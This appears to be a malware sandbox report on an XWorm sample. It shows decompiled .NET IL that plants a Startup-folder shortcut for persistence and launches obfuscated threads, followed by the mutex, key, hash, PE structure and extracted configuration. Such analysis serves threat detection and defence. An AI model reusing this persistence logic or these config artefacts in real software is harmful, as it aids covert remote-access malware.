Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::t1mgCDTmmufCrq1ViQqpWeVHV4VWNhoVDONflZxvapa1yNZmJnN0Hi62InyRAHzYyE2l2celcZI4P leave.s IL_0381: call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::3rUBwakt7aBvDSCve7If7ZT2tYC4LsWFGYV3whD9q4Sirf4ErPctjDrIz4ZmijbZ95DZqqi8Qlnn2y8QteczJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.DafvT1Abui5PfoxbQ2Y2Mxz1of3IFFY8th8nseeBU3Ugz2QTyrnV2F8M6o8XRPOF6UCBNFwaZ0kuMoL1THOJB::NZI3rtDy9mhHvJp00YJGnmq7MMe() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.aL2pfmsNYaeOE1SgDXj59g6KrfhsmOpYoKu6xYJ3geR16::MLY1nlLZeEmVoI71kTTcdXx9siQOWkZ66FXlNWN5sLDHV() ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::kkFceZxrPkeYIaeWWUMKjiaVgp15mGL2TWw6A71BbcFYiySrLAiYRzqSiJuZgcoLU268nNQqGGMxfOJ0HR6lW() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::iiRPuYdwqHBtn2GGkg0w16gLBkH3duPTjuczJyoKoDbsgg5TgamewecC5enlRzDwNr4N6LyBvGU15wQUfwm4g() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

d3884fbe0e53b14e8d9b296982e2650f (76.8 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

KEY

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

USBNM

QKe6tbRRG5OYs8BdhI4hJQ==

family

xworm

Artefacts
Name
Value Location
Mutex

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

Malicious

d3884fbe0e53b14e8d9b296982e2650f

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